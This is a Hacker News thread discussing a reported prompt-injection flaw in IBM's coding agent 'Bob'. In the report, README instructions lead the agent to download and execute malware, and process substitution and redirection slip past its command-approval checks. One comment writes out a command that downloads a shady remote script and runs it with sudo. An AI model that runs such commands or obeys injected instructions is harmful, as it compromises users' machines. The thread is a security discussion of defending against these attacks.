[HN Gopher] IBM AI ('Bob') Downloads and Executes Malware
___________________________________________________________________
IBM AI ('Bob') Downloads and Executes Malware
Author : takira
Score : 216 points
Date : 2026-01-08 18:19 UTC (4 hours ago)
(HTM) web link (www.promptarmor.com)
(TXT) w3m dump (www.promptarmor.com)
| hackerBanana wrote:
| pretty funny that the text shown users when trying run commands
| with substitution like $() specifically says they block process
| substitution in commands, but the code just doesnt block it at
| all
| francisofascii wrote:
| It was Bob? Sure it wasn't Mallory? ;)
| forshaper wrote:
| I heh'd out loud
| omneity wrote:
| Sounds like most of this is simply taking shortcuts instead of
| properly parsing[0].
|
| 0: https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-
| va...
| Terr_ wrote:
| I'd rather view it as a failure to distinguish between data and
| logic. The status-quo is several steps short of where it needs
| to be before we can productively start talking about types and
| completeness.
|
| Unfortunately that, er, _opportunistic shortcut_ is an
| essential behavior of modern LLMs, and everybody keeps building
| around it hoping the root problem will be fixed by some silver-
| bullet further down the line.
| falloutx wrote:
| I didnt know IBM was even in this game.
| efficax wrote:
| everybody's in the game now, it's the only game in town
| heisenbit wrote:
| The only way to win is not to play.
| cons0le wrote:
| They got in early with Watson
| GaryBluto wrote:
| IBM is in most games in some way.
| walrus01 wrote:
| Would be more amusing if Microsoft resurrected the "Bob" name for
| something AI.
| ronbenton wrote:
| Or Tay
| bogzz wrote:
| CHOCOLATE RAINNN
| fph wrote:
| Why has no one mentioned Clippy yet?
| monista wrote:
| Funny that Yandex's AI agent is called Alice.
| ronbenton wrote:
| These prompt injection vulnerabilities give me the heebie
| jeebies. LLMs feel so non deterministic that it appears to me to
| be really hard to guard against. Can someone with experience in
| the area tell me if I'm off base?
| throwmeaway820 wrote:
| > it appears to me to be really hard to guard against
|
| I don't want to sound glib, but one could simply not let an LLM
| execute arbitrary code without reviewing it first, or only let
| it execute code inside an isolated environment designed to run
| untrusted code
|
| the idea of letting an LLM execute code it's dreamt up, with no
| oversight, in an environment you care about, is absolutely
| bananas to me
| sigmonsays wrote:
| just wait until the exploit is so heavily obfuscated that you
| just review and allow it to get the project done.
| therobots927 wrote:
| You could literally ask the LLM to obfuscate it and I bet
| it would do a pretty good job. Good luck parsing 1,000
| lines of code manually to identify an exploit that you're
| not even specifically looking for.
| lazide wrote:
| Yup, add in some poetic prompt injection.....
| blibble wrote:
| > the idea of letting an LLM execute code it's dreamt up,
| with no oversight, in an environment you care about, is
| absolutely bananas to me
|
| but if a skilled human has to check everything it does then
| "AI" becomes worthless
|
| hence... YOLO
| mlyle wrote:
| I have to check what junior engineers do before running it
| in production. And AI is just really fast junior
| engineering.
| raesene9 wrote:
| The really fast part is the challenge though. If we
| assume that in pre-LLM world, there was enough resource
| for mid/senior level engineers to review junior engineer
| code and then in LLM world, lets say we can produce 10x
| the code, unless we 10x the number of mid/senior level
| engineering resource dedicated to review, what was once
| possible is no longer possible...
| hu3 wrote:
| We all know what will happen in many apps.
|
| The user will test most of the code.
|
| Just like we did test yesterday when Claude Code broke
| because CHANGELOG.md had an unexpected date.
| Terr_ wrote:
| > if a skilled human has to check everything it does then
| "AI" becomes worthless
|
| Well, perhaps not _worthless_ , but certainly not "a
| trillion-dollar revolution that will let me fire 90% of my
| workforce and then execute my Perfect Rich Guy Visionary
| Ideas without any more pesky back-talk."
|
| That said, the "worth" is brings to the shareholders will
| likely be a downgrade for everybody else, both workers and
| consumers, because:
|
| > The market's bet on AI is that an AI salesman will visit
| the CEO of Kaiser and make this pitch: "Look, you fire
| 9/10s of your radiologists [...] and the remaining
| radiologists' job will be to oversee the diagnoses the AI
| makes at superhuman speed, and somehow remain vigilant as
| they do so, despite the fact that the AI is usually right,
| except when it's catastrophically wrong.
|
| > "And if the AI misses a tumor, this will be the human
| radiologist's fault, because they are the 'human in the
| loop.' It's their signature on the diagnosis."
|
| > This is a reverse centaur, and it's a specific kind of
| reverse-centaur: it's what Dan Davies [calls] an
| "accountability sink." The radiologist's job isn't really
| to oversee the AI's work, it's to take the blame for the
| AI's mistakes.
|
| -- https://doctorow.medium.com/https-pluralistic-
| net-2025-12-05...
| alexjplant wrote:
| I think a nice compromise would be to restrict agentic coding
| workflows to cloud containers and a web interface. Bootstrap
| a project and new functional foundations locally using
| traditional autocomplete/chat methods (which you want to
| anyway to avoid a foundation of StackOverflow-derived slop)
| then implement additional features using the cloud agents.
| Don't commit any secrets to SCM and curate the tools that
| these agents can use. This way your dev laptops are firmly in
| human control (with IDEs freed up for actual coding) while
| LLMs are safelt leveraged. Win-win.
| inetknght wrote:
| > _Can someone with experience in the area tell me if I 'm off
| base?_
|
| Nope, not at all. Non-determinism is what most software
| developers write. Something to do with profitability and time
| or something.
| mystifyingpoi wrote:
| Determinism is one thing, but the more pressing thing is
| permission boundaries. All these AI agent tools need to come
| with no permissions at all out of the box, and everything
| should be granularly granted. But that would break all the cool
| demos and marketing pitches.
|
| Allowing agent to run wild with _any_ arbitrary shell commands
| is just plain stupid. This should never happen to begin with.
| TZubiri wrote:
| That's what they are actually doing.
|
| I think quite opposite, agents need to come with all
| permissions possible, highlighting that it's actually the OS
| responsibility to constrain it.
|
| It's kind of dumb to except a process to constrain itself.
| VTimofeenko wrote:
| A non-deterministic process at that. Coding agents are
| basically "curl into sh" pattern on steroids
| Terr_ wrote:
| Even worse, the sh portion is _recursive_.
|
| So the attacker doesn't need to send an evil-bit over the
| network, if they can trigger the system into dreaming up
| the evil-bit indirectly as its own output at some point.
| zzzeek wrote:
| > All these AI agent tools need to come with no permissions
| at all out of the box, and everything should be granularly
| granted.
|
| That's what the tools already do. if you were watching some
| cool demo that didnt have all the prompts they may have been
| running the tools in "yolo mode" which is not usually a
| normal thing.
| ymyms wrote:
| You are very on base. In fact, there is a deep conflict that
| needs to be solved: the non-determinism is the feature of an
| agent. Something that can "think" for itself and act. If you
| force agents to be deterministic, don't you just have a slow
| workflow at that point?
| resfirestar wrote:
| If someone can write instructions to download a malicious
| script into an codebase, hoping an AI agent will read and
| follow them, they could just as easily write the same wget
| command directly into a build script or the source itself
| (probably more effective). In that way it's a very similar
| threat to the supply chain attacks we're hopefully already
| familiar with. So it is a serious issue but not necessarily one
| we don't know how to deal with. The solutions (auditing all
| third party code, isolating dev environments) just happen to be
| hard in practice.
| yoz-y wrote:
| Given the displeasure a lot of developers have towards AI, I
| would not be surprised if such attacks became more common.
| We've seen artists poisoning their uploads to protect them
| (or rather, try and take revenge), I don't doubt it might be
| the same for a non-negligible part of developers.
| lazide wrote:
| It's easier to hide a poem in the comments of a random web
| page, than it is the obvious wget, etc.
| resfirestar wrote:
| Yes, fetching arbitrary webpages is its own can of worms.
| But feels less intractable to me, it's usually easy to
| disable web search tools by policy without hurting the
| utility of the tools very much (depends on use case of
| course).
| _trampeltier wrote:
| At least the malware does already run on the coders machine.
| Fun starts, when malware just start to run on users machine and
| the coders are not coders anymore, just prompters and have no
| idea how such a thing can happen.
| b112 wrote:
| Isn't that already the case? Coders already think composer
| and node are great, an ecosystem predicated upon running
| thousands of untrusted pieces of code without any review or
| oversight.
|
| The trust framework is all out of wack.
| api wrote:
| Run them in a VM.
|
| Probably good advice for lots of things these days given supply
| chain attacks targeting build scripts, git, etc.
| roywiggins wrote:
| The problem isn't non-determinism per se, an agent that
| reliably obeys a prompt injection in a README file is behaving
| entirely deterministically: its behavior is totally determined
| by the inputs.
| anonymars wrote:
| Maybe I can assign it my anti-phishing training
| ACCount37 wrote:
| LLMs are vulnerable in the same way humans are vulnerable. We
| found a way to automate PEBKAC.
|
| I expect that agent LLMs are going to get more and more
| hardened against prompt injection attacks, but it's hard to get
| the chance of them working all the way down to zero while still
| having a useful LLM. So the "solution" is to limit AI
| privileges and avoid the "lethal trifecta".
| stingraycharles wrote:
| You're correct, but the answer is that - typically - they don't
| access untrusted content all that often.
|
| The number of scenarios in which you have your coding agent
| retrieving random websites from the internet is very low.
|
| What typically happens is that they use a provider's "web
| search" API if they need external content, which already pre-
| processes and summarises all content, so these types of attacks
| are impossible.
|
| Don't forget: this attack relies on injecting a malicious
| prompt into a project's README.md that you're actively working
| on.
| Terr_ wrote:
| > a provider's "web search" API [...] pre-processes and
| summarises all content, so these types of attacks are
| impossible.
|
| Inigo Montoya: "Are you sure the design is safe?"
|
| Vizzini: "As I told you, it would be absolutely, totally, and
| in all other ways inconceivable. The web-gateway API
| sanitizes everything, and no user of the system would enter
| anything problematic. Out of curiosity, why do you ask?"
|
| Inigo Montoya: "No reason. It's only... I just happened to
| look in the logs and something is there."
|
| Vizzini: "What? Probably some local power-user, making weird
| queries out of curiosity, after hours... in... malware-
| infested waters..."
| ezst wrote:
| Just to be the pedant here, LLMs are fully deterministic (the
| same LLM, in the same state, with the same inputs, will deliver
| the same output, and you can totally verify that by running a
| LLM locally). It's just that they are chaotic (a prompt and a
| second with slight and seemingly minor changes can produce not
| just different but conflictual outputs).
| rpodraza wrote:
| Maybe I'm paranoid, but allowing any coding agent or tool to
| execute commands within terminal that is not sandboxed somehow
| will be prone to attacks like that
| internet101010 wrote:
| It's a double edged sword. With terminal sure, but not allowing
| interaction in Microsoft applications like Power BI (especially
| with no ability to copy and paste) renders Copilot completely
| useless.
| braingravy wrote:
| For Power BI + AI work, you can use the JSON formatted .pbip
| report and semantic model files. Just fyi.
| hultner wrote:
| Isn't the problem that it's supposed to not execute commands
| without strict approval but the shell stdout redirection in
| combination with process substitution is bypassing this.
| edf13 wrote:
| Key part of the article../
|
| "if the user configures 'always allow' for any command"
| promiseofbeans wrote:
| Another key part: the command can be displayed as just `echo`,
| but allows execution of anything
| nyrikki wrote:
| > In the documentation, IBM warns that setting auto-approve for
| commands constitutes a 'high risk' that can 'potentially
| execute harmful operations' - with the recommendation that
| users leverage whitelists and avoid wildcards
|
| Users have been trained to do this, as shifting the burden to
| the user with no way to enforce bounds or even sensible
| defaults.
|
| E.G. I can guarantee that people will whitelist bwrap, crun,
| docker, expecting to gain advantage from isolation, while the
| caller can override all of those protections with arguments.
|
| The reality is that we have trained the public to allow local
| code execution on their devices to save a few cents on a
| hamburger, we can't have it both ways.
|
| Unless you are going to teach everyone that they need to make
| sure address family 40, openat2(), etc.. are unsafe, users have
| no way to win right now.
|
| The use case has to either explicitly harden or shift blame.
|
| With Opendesktop, OCI, systemd, and kernel all making locally
| optimal decisions, the reality is that ephemeral VMs is the
| only 'safe' way to run untrusted code today.
|
| Sandboxes can be better but containers on a workstation
| (without a machine VM) are purely theatre.
| prodigycorp wrote:
| I'm not saying IBM shouldn't try, but really - why is IBM
| building coding CLIs? They're like the company version of the
| Steve Buscemi "How do you do, fellow kids?" meme.
| ronbenton wrote:
| Something to do with shareholders I guess?
| resfirestar wrote:
| Part of the problem here is all the vendor lock in with the
| tools. It's a new category so it's to be expected, but
| currently any company that sells an enterprise cloud platform
| kind of needs their own AI coding tool suite to be competitive.
| jerlam wrote:
| I would have expected IBM to buy and integrate another AI
| coding company or license one, instead of trying to build it
| themselves. IBM doesn't have a good track record of building
| products. Maybe they didn't have time, or were convinced it
| was too easy.
| prodigycorp wrote:
| I couldn't think of a better signal to flee a job interview
| than seeing an IBM LLM cli on someone's screen.
| TZubiri wrote:
| IBM has a huge history with AI, Deep Blue, Watson.. Ok, maybe
| not huge, but they've always been in the game even before most
| of us wore pants.
| internet_points wrote:
| and the tech behind the original google translate
| https://en.wikipedia.org/wiki/IBM_alignment_models
| wpasc wrote:
| For once, one might actually get fired for buying/hiring IBM
| blauditore wrote:
| I saw an IBM presentation about AI at a conference years ago,
| during the previous wave of AI hype (2018-ish). IIRC they were
| advertising some specialized AI chip/hardware. The presentation
| was kind of meh, but it shows they've been trying to dab in
| this space for a while.
| paxys wrote:
| Because they need something to put in powerpoint decks to help
| their sales teams sign overpriced consulting contracts. See -
| IBM Watson.
| cedws wrote:
| Everyone is building one these days. None of them really have
| any differentiating features other than the LLMs they use, but
| I guess it's a cheap way to try and block off some market share
| from your competitors.
| hu3 wrote:
| The last company that didn't integrate AI had to fire 75% of
| their engineering team.
|
| AI sells.
| prodigycorp wrote:
| Too soon.
| rdtsc wrote:
| It's $50B a year revenue tech company, I guess I would flip the
| question and ask why wouldn't build it's own coding CLIs?
| prodigycorp wrote:
| Because it's becoming obvious that these coding agents are
| going to succeed on the basis of a company's ability to not
| only build the harness, but tune the model for the harness.
|
| I guess it's fine if IBM is trying to do it as a marketing
| kind of thing but maybe know your competencies?
| 33a wrote:
| You can probably get any coding agent with this if you put these
| instructions in the README/CLAUDE.md/AGENTS.md or whatever of
| your repo.
|
| It's unclear to me if Bob is working as intended or how we should
| classify these types of bugs. Threat modeling this sort of prompt
| injection gets murky, but in general don't put untrusted markdown
| into your AI agents.
| OakNinja wrote:
| _" IBM Bob is IBM's new coding agent, currently in Closed Beta.
| "_
|
| Promptarmor did a similar attack(1) on Google's Antigravity that
| is also a beta version. Since then, they added secure mode(2).
|
| These are still beta tools. When the tools are ready, I'd argue
| that they will probably be safer out of the box compared to a
| whole lot of users that just blindly copy-paste stuff from the
| internet, adding random dependencies without proper due
| diligence, etc. These tools might actually help users acting more
| secure.
|
| I'm honestly more worried about all the other problems these
| tools create. Vibe coded problems scale fast. And businesses have
| still not understood that code is not an asset, it's a liability.
| Ideally, you solve your business problems with zero lines of
| code. Code is not expensive to write, it's expensive to maintain.
|
| (1) https://www.promptarmor.com/resources/google-antigravity-
| exf... (2) https://antigravity.google/docs/secure-mode
| InsideOutSanta wrote:
| While they have found some solvable issues (e.g. "the defense
| system fails to identify separate sub-commands when they are
| chained using a redirect operator"), the main issue is
| unsolvable. If you allow an LLM to edit your code and also give
| it access to untrusted data (like the Internet), you have a
| security problem.
| derektank wrote:
| A problem yes, but I think GP is correct in comparing the
| problem to that of human workers. The solution there has
| historically been RBAC and risk management. I don't see any
| conceptual difference between a human and an automated system
| on this front
| moron4hire wrote:
| A human worker can be coached, fired, terminated, sued, any
| number of things can be done to a human worker for making
| such a mistake or willful attack. But AI companies, as we
| have seen with almost every issue so far, will be given a
| pass while Sam Altman sycophants cheer and talk about how
| it'll "get better" in the future, just trust them.
| SoleilAbsolu wrote:
| Yeah, if I hung a sign on my door saying "Answers
| generated by this person may be incorrect" my boss and HR
| would quickly put me on a PIP, or worse. If a physical
| product didn't do what it claimed to do, it would be
| recalled and the maker would get sued. Why does AI get a
| pass just pooping out plausible but incorrect, and
| sometimes very dangerous, answers?
| philipallstar wrote:
| > Yeah, if I hung a sign on my door saying "Answers
| generated by this person may be incorrect" my boss and HR
| would quickly put me on a PIP, or worse
|
| I also have never written a bug, fellow alien.
| nkrisc wrote:
| > I don't see any conceptual difference between a human and
| an automated system on this front
|
| If an employee of a third party contractor did something
| like that, I think you'd have better chances of recovering
| damages from them as opposed to from OpenAI for something
| one of its LLMs does on your behalf.
|
| There are probably other _practical_ differences.
| lelandfe wrote:
| We need to take a page from baseball and examine Hacks
| Above Replacement
| conradev wrote:
| If anything, the limit of RBAC is ultimately the human
| attention required to provision, maintain and monitor the
| systems. Endpoint security monitoring is only as
| sophisticated as the algorithm that does the monitoring.
|
| I'm actually most worried about the ease of deploying RBAC
| with more sophisticated monitoring to control humans but
| for goals that I would not agree with. Imagine every single
| thing you do on your computer being checked by a model to
| make sure it is "safe" or "allowed".
| stonogo wrote:
| The difference is 'accountability' and it always will be.
| acessoproibido wrote:
| >If you allow a human to edit your code and also give them
| access to untrusted data (like the Internet), you have a
| security problem.
|
| Security shouldn't be viewed in absolutes (either you are
| secure or you aren') but more in degrees. Llms can be used
| securely just the same as everything else, nothing is ever
| perfectly secure
| NovemberWhiskey wrote:
| Things can only be used securely if they have properties
| that can be reasoned about and relied upon.
|
| This is why we don't usually have critical processes that
| depend on "human always does the right thing" (c.f.
| maker/checker controls).
| OakNinja wrote:
| They _can_ be reasoned about and relied upon.
|
| The problem is that people/users/businesses skip the
| reasoning part and go straight to the rely upon part.
| withinboredom wrote:
| They can be reasoned about from a mathematical
| perspective yes. An LLM will happily shim out your code
| to make a test pass. Most people would consider that
| "unreasonable".
| iLoveOncall wrote:
| > If you allow an LLM to edit your code and also give it
| access to untrusted data (like the Internet), you have a
| security problem.
|
| You don't even need to give it access to Internet to have
| issues. The training data is untrusted.
|
| It's a guarantee that bad actors are spreading compromised
| code to infect the training data of future models.
| mistrial9 wrote:
| no, you have a trust problem. Is the tool assisting, or is
| are the tools the architect, builder, manager, court and
| bank?
| cyanydeez wrote:
| You would think so, but you should read about how they bear
| proof trash cans in yellow stone.
|
| They cant. Why? Because the smartest bear ia smarter than the
| dumbest human.
|
| So, these AIs are suppose to interface with humans and use
| nondeterminant language.
|
| That vector will always be exploitable, unless youre talking
| about AI that no han controls.
| OakNinja wrote:
| Yes. But the exploitable vector in this case is still humans.
| AI is just a tool.
|
| The non-deterministic nature of an LLM can also be used to
| _catch_ a lot of attacks. I often use LLM's to look through
| code, libraries etc for security issues, vulnerabilities and
| other issues as a second pair of eyes.
|
| With that said, I agree with you. Anything can be exploited
| and LLM's are no exception.
| cyanydeez wrote:
| As long as a human has control over a system AI can drive,
| it will be as exploitable as the human.
|
| Sure this is the same as positing P/=NP but the confidence
| that a language model will somehow become a secure
| determinative system fundamentally lacks language
| comprehension skills.
| Eufrat wrote:
| > When the tools are ready, I'd argue that they will probably
| be safer out of the box compared to a whole lot of users that
| just blindly copy-paste stuff from the internet, adding random
| dependencies without proper due diligence, etc. These tools
| might actually help users acting more secure.
|
| This speculative statement is holding way too much of the
| argument that they are just "beta tools".
| tmsbrg wrote:
| I'm surprised there's no mention about disclosing the bug to
| IBM?. Usually these kinds of disclosures have a timeline showing
| when they told the vendor about the bug and when it was fixed.
| Now it looks like they just randomly released the vulnerability
| info on their blog.
|
| Also a bit annoyed there's no date on the article, but looking at
| the HTML source it seems it was released today (isn't it annoying
| when blog software doesn't show the publish date?).
| krackers wrote:
| The killer use case for AI will be bonzi buddy reborn.
| zahlman wrote:
| > Bob has three defenses that are bypassed in this attack
|
| This section describes the bypass in three steps, but only
| actually describes two defenses and uses the third bullet point
| as a summary of how the two bypasses interact.
| samtp wrote:
| AI bypassed the content editor on this step
| rmonvfer wrote:
| I can't believe the Bob CLI is just another fork of the Gemini
| CLI, no wonder Anthropic has the moat in agentic development
| CLIs, at least they are developing their own.
| lxe wrote:
| I hate this type of headline.
|
| Imagine if we had something like: "google
| downloads and executes malware" "outlook downloads and
| executes malware" "chrome downloads and executes malware"
|
| That would be ridiculous, right? The right headline is:
| "a person using a computer downloads and executes malware"
| maxlin wrote:
| Thought the product looks good for a prototype, but crazy as a
| published product.
|
| Then found out it's a closed beta.
|
| So ... ok? Closed beta test is doing what such a test is supposed
| to do. Sure, ideally the issue would have been figured out
| earlier, especially if this is a design issue and the parsing
| needs to be thought out again, but this is still reasonably
| inside the layers of redundancy for catching these kinds of
| things amicably.
| gram-hours wrote:
| This is an article with a very very high commercial vested
| interest in the software they sell (promptarmor.com - "All AI
| Risk is Third Party Risk").
| Mouvelie wrote:
| Et bah c'est bien !
| kingjimmy wrote:
| Do we really need another LLM CLI ?
| philipallstar wrote:
| Feels like whitelisting URLs that an AI can access is a good
| idea.
| orliesaurus wrote:
| Think about this for a second. So we're telling me that IBM just
| created an AI assistant that's basically been trained to run
| malware if you tell it nicely? That's wild, man. That's actually
| insane.
|
| Like, we're at this point now where we're building these
| superintelligent systems but we can't even figure out how to keep
| them from getting pranked by a README file? A README FILE, bro.
| That's like... that's like building a robot bodyguard but
| forgetting to tell it the difference between a real gun and a
| fake gun.
|
| And here's the crazy part - the article says users just have to
| not click "always allow." But dude, have you MET users? Come on.
| That's like telling someone not to eat the Tide Pod. You're
| fighting human nature here.
|
| I'm telling you, five years from now we're gonna have some kid
| write a poem about cybersecurity in their GitHub repo and
| accidentally crash the entire Stock Exchange. Mark my words. This
| is the most insane timeline.
| philipallstar wrote:
| That's odd. I don't remember getting into a taxi.
| schmuckonwheels wrote:
| I don't see the problem here.
|
| We have automated the task of developers blindly executing
| wget -qO - http://shadysite/foo.sh | sudo bash
|
| They would have happily pasted it into the terminal without the
| automation.
|
| It's a net win for everyone involved.
|
| Malware writers and their targets alike, who, eager to install
| the latest fad library or framework would have voluntarily
| installed it anyway.
___________________________________________________________________
(page generated 2026-01-08 23:00 UTC)